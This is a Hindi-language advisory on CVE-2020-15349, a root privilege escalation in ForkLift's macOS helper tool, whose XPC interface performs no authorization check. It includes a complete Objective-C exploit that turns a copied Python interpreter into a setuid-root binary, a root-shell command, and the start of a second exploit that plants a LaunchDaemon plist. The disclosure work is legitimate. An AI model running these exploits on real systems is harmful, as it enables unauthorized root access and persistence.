
CVE-2020-15349 का भेद्यता विवरण
फोर्कलिफ्ट स्थापित करते समय, Mac OS X के लिए com.binarynights.ForkLiftHelper नामक एक नया हेल्पर स्वचालित रूप से /Library/PrivilegedHelperTools/ निर्देशिका में स्थापित हो जाता है। इस हेल्पर का विश्लेषण करने पर, जो XPC संदेशों को संभालता है, Mac OS X पर उपयोगकर्ता से root तक विशेषाधिकार बढ़ाने के विभिन्न तरीके सामने आए।
XPC कॉल स्वीकार करते समय डिफ़ॉल्ट रूप से HelperTool listener:shouldAcceptNewConnection और (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection फ़ंक्शन का उपयोग किया जाता है। यह फ़ंक्शन XPC कनेक्शन स्थापित करने के प्रारंभिक चरणों को करने के लिए उपयोग किया जाता है। आमतौर पर, यह फ़ंक्शन कॉल करने वाले का प्राधिकरण (authorization) करता है—हालाँकि, com.binarynights.ForkLiftHelper का फ़ंक्शन कोई प्राधिकरण जाँच लागू नहीं करता है। इस प्रकार, XPC पर किसी भी उजागर फ़ंक्शन को अनधिकृत रूप से कॉल करना संभव है।
निम्नलिखित फ़ंक्शन XPC पर कॉल करने वाले के लिए उजागर हैं:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
इस हेल्पर का शोषण करने की पहली विधि इस प्रकार है:
उदाहरण के लिए, पायथन इंटरप्रेटर को एक उपयोगकर्ता-नियंत्रणीय निर्देशिका में कॉपी करें और XPC फ़ंक्शन changeOwner को पैरामीटर @"<path>" owner:0 group:0 के साथ कॉल करें। इससे पायथन इंटरप्रेटर का स्वामित्व root में बदल जाएगा।
दूसरा, इंटरप्रेटर पर SUID बिट सेट करना संभव है जो changePermissions फ़ंक्शन को निम्नलिखित पैरामीटर @"<path>" permissions:2541 के साथ XPC अनुरोध जारी करता है। अनुमतियाँ 2541 ऑक्टल में संख्या 4755 का प्रतिनिधित्व करती हैं, जो बाइनरी पर SUID ध्वज सेट करती है।
निम्नलिखित कमांड root के रूप में एक शेल स्पॉन करेगा:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
कृपया सुनिश्चित करें कि पहले /tmp में python_copied नाम से एक पायथन इंटरप्रेटर कॉपी किया गया हो। निम्नलिखित शोषण इस LPE को प्रदर्शित करता है:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
इस हेल्पर का शोषण करने की दूसरी विधि इस प्रकार है:
XPC कॉल moveItem के कारण किसी भी आइटम को root के रूप में स्थानांतरित करना संभव है। इस प्रकार, /tmp निर्देशिका में एक plist फ़ाइल लिखना और फिर इसे /Library/LaunchDaemons/ निर्देशिका में कॉपी करना संभव है। moveItem फ़ंक्शन के लिए निम्नलिखित पैरामीटर का उपयोग किया जाता है: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"
निम्नलिखित कोड स्वचालित रूप से एक नया लॉन्च एजेंट जोड़ेगा जो पुनरारंभ होने पर ट्रिगर होता है:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end